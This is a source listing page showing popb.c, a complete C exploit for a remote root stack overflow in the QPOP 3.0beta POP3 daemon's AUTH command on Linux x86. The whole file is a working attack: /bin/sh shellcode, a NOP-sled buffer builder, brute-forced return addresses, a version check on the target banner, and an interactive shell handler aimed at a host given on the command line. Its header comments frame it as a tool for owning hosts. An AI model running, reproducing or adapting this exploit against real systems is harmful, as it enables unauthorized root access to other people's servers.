Logo Search packages:      
Sourcecode: raccess version File versions  Download package

popb.c

/*
 *  THIS IS PRIVATE CODE. DO NOT DISTRIBUTE.
 *
 *  QPOP 3.0beta AUTH remote root stack overflow (linux x86 version)
 *
 *  Compilation:
 *    gcc -o qpop3b qpop3b.c
 *  
 *  Usage: 
 *    qpop3b host.to.own.com [src_prt]
 *  
 *  Automated brute-forcing code. No offset argument required.
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

#define BASE_ADDR                0xbfffd150
#define MAX_OFFSET               11951
#define STEP                     500
#define DST_PRT                  110
#define DELAY                    0x05
#define INIT_RET                 846
#define NUM_RETS                 0x22
#define EXTRA                    200
#define RET_DIFF                 149
/*
 *  Not completely accurate, but one assumes the user has sufficient
 *  clues not to run this against a patched daemon.
 */
#define IDENT_STRING             "version 3.0b"

char c0de[] = 
/*
 *  The shellcode must be from a slightly restricted charset.
 */
/* main: */
"\xeb\x1b"                                   /* jmp callz                  */
/* start: */
"\x5e"                                       /* popl %esi                  */
"\x89\xf3"                                   /* movl %esi, %ebx            */
"\x89\xf7"                                   /* movl %esi, %edi            */
"\x83\xc7\x07"                               /* addl $0x07, %edi           */
"\x29\xc0"                                   /* subl %eax, %eax            */
"\xaa"                                       /* stosb %al, %es:(%edi)      */
"\x89\xf9"                                   /* movl %edi, %ecx            */
"\x89\xf0"                                   /* movl %esi, %eax            */
"\xab"                                       /* stosl %eax, %es:(%edi)     */
"\x89\xfa"                                   /* movl %edi, %edx            */
"\x29\xc0"                                   /* subl %eax, %eax            */
"\xab"                                       /* stosl %eax, %es:(%edi)     */
"\xb0\x08"                                   /* movb $0x08, %al            */
"\x04\x03"                                   /* addb $0x03, %al            */
"\xcd\x80"                                   /* int $0x80                  */
/* callz: */
"\xe8\xe0\xff\xff\xff"                       /* call start                 */
/* DATA */
"/bin/sh";

u_long
resolve_host(u_char *host)
{
    struct in_addr addr;
    struct hostent *host_ent;
    
    if ((addr.s_addr = inet_addr(host)) == -1)
    {
      host_ent = gethostbyname(host);
      if (!host_ent) return((u_long)0);
      memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
    }
    
    return(addr.s_addr);
}

void
connect_shell(int sock)
{
    u_char buf[8192] = {0};
    fd_set fds;
    
    write(sock, "id; uname -a; cd /;\n", 20);
    
    for (;;)
    {
      FD_ZERO(&fds);
      FD_SET(0, &fds);
      FD_SET(sock, &fds);
      
      if (select(0xff, &fds, NULL, NULL, NULL) == -1)
      {
          perror("select choked");
          exit(-1);
      }
      
      memset(buf, 0, sizeof(buf));
      
      if (FD_ISSET(sock, &fds))
      {
          if (recv(sock, buf, sizeof(buf) - 1, 0) == -1)
          {
            fprintf(stderr, "Connection closed by foreign host.\n");
            exit(0);
          }
          
          fprintf(stderr, "%s", buf);
      }
      
      if (FD_ISSET(0, &fds))
      {
          read(0, buf, sizeof(buf));
          write(sock, buf, strlen(buf));
      }
    }
    
    /* NOTREACHED */
}

void
check_exploit(int sock)
{
    struct timeval time_val;
    u_char tmp[4096] = {0};
    fd_set fds; u_int flag;
    
    if ((flag = fcntl(sock, F_GETFL, NULL)) == -1)
    {
      perror("fcntl F_GETFL");
      exit(-1);
    }
    
    flag |= O_NONBLOCK;
    
    if (fcntl(sock, F_SETFL, flag) == -1)
    {
      perror("fcntl F_SETFL");
      exit(-1);
    }
    
    time_val.tv_usec   = 0;
    time_val.tv_sec    = 15;
    
    FD_ZERO(&fds);
    FD_SET(sock, &fds);
    
    write(sock, "\nid;\n", 5);
    if ((select(sock + 1, &fds, NULL, NULL, &time_val)) == -1)
    {
      perror("select choked");
      exit(-1);
    }
    
    recv(sock, tmp, sizeof(tmp) - 1, 0); 
    if (!strstr(tmp, "uid="))
    {
      fprintf(stderr, "unsuccessful.\n");
      return;
    }
    
    fprintf(stderr, "successful.\n\nb00m\n\n");
    
    flag  = fcntl(sock, F_GETFL, NULL);
    flag ^= O_NONBLOCK;
    fcntl(sock, F_SETFL, flag);
    
    connect_shell(sock);
    /* NOTREACHED */
}

u_char *
overflow_buf(u_int offset)
{
    u_char buf[4096] = {0};
    u_long addr = BASE_ADDR + offset;
    int ret = 0, i = 0;
    
    memcpy(buf, "AUTH ", 5);
    ret = INIT_RET + RET_DIFF;
    
    memset(buf + 5, 0x90, sizeof(buf) - 5);
    memcpy(buf + ret - EXTRA - strlen(c0de), c0de, strlen(c0de));
    
    ret -= RET_DIFF;
    for (i = 0; i < NUM_RETS; i++)
    {
      buf[ret++] = (addr & 0x000000ff);
      buf[ret++] = (addr & 0x0000ff00) >> 8;
      buf[ret++] = (addr & 0x00ff0000) >> 16;
      buf[ret++] = (addr & 0xff000000) >> 24;
    }
    
    ret += (-(sizeof(u_long) * NUM_RETS)) + RET_DIFF - sizeof(u_long) - 1;
    
    buf[ret--] = 0x00;
    buf[ret--] = 0x0a;
    buf[ret--] = 0x0a;
    
    return(strdup(buf));
}

void
exploit(u_long dst_ip, u_short src_prt, u_int offset)
{
    struct sockaddr_in sin;
    u_char buf[8192] = {0};
    u_char rcv[8192] = {0};
    int sock, one = 1, *o_pt = &one;
    
    fprintf(stderr, "[exploit] : [0x%lx] : ", BASE_ADDR + offset);
    
    sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (sock == -1)
    {
      perror("socket allocation");
      exit(-1);
    }
    
    if (src_prt)
    {
      struct sockaddr_in min;
      
      if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, o_pt, sizeof(one)) == -1)
      {
          perror("setsockopt SO_REUSEADDR");
          exit(-1);
      }
      
      min.sin_family = AF_INET;
      min.sin_port   = htons(src_prt);
      min.sin_addr.s_addr = INADDR_ANY;
      
      if (bind(sock, (struct sockaddr *)&min, sizeof(struct sockaddr)) == -1)
      {
          perror("bind to local port");
          exit(-1);
      }
    }
    
    sin.sin_family = AF_INET;
    sin.sin_port   = htons(DST_PRT);
    sin.sin_addr.s_addr = dst_ip;
    
    if (connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1)
    {
      perror("connecting to pop daemon");
      exit(-1);
    }
    
    if (recv(sock, rcv, sizeof(rcv) - 1, 0) == -1)
    {
      fprintf(stderr, "Connection closed by foreign host.\n");
      exit(0);
    }
    
    if (!strstr(rcv, IDENT_STRING))
    {
      fprintf(stderr, "POP daemon not vulnerable to the AUTH overflow.\n");
      exit(0);
    }
    
    strncpy(buf, overflow_buf(offset), sizeof(buf) - 1);
    
    if (write(sock, buf, strlen(buf)) != strlen(buf))
    {
      fprintf(stderr, "exploit(): truncated write()\n");
      exit(0);
    }

    recv(sock, rcv, sizeof(rcv) - 1, 0);
    
    sleep(DELAY);
    check_exploit(sock);
    
    close(sock);
}

void
usage(u_char *nomenclature)
{
    fprintf(stderr, "usage:\t%s dst_host|ip\n", nomenclature);
    exit(0);
}

int
main(int argc, char **argv)
{
    u_long dst_ip = 0;
    u_short src_prt = 0;
    u_int i = 0;
    
    fprintf(stderr, "\nQPOP 3.0b AUTH overflow (linux x86)\n\n");
    
    if (argc != 2 && argc != 3)
    {
      usage(argv[0]);
      /* NOTREACHED */
    }
    
    signal(SIGPIPE, SIG_IGN);
    dst_ip  = resolve_host(argv[1]);
    if (!dst_ip)
    {
      fprintf(stderr, "What kind of address is this: `%s`?\n", argv[1]);
      exit(-1);
    }
    
    if (argc == 3) src_prt = (u_short)atoi(argv[2]);
    
    for (i = 0; i < MAX_OFFSET; i += STEP)
    {
      exploit(dst_ip, src_prt, i);
    }
    
    fprintf(stderr, "\nExploitation unsuccessful.\n");
    exit(0);
}
/*                   www.hack.co.za   [25 September 2000]*/

Generated by  Doxygen 1.6.0   Back to index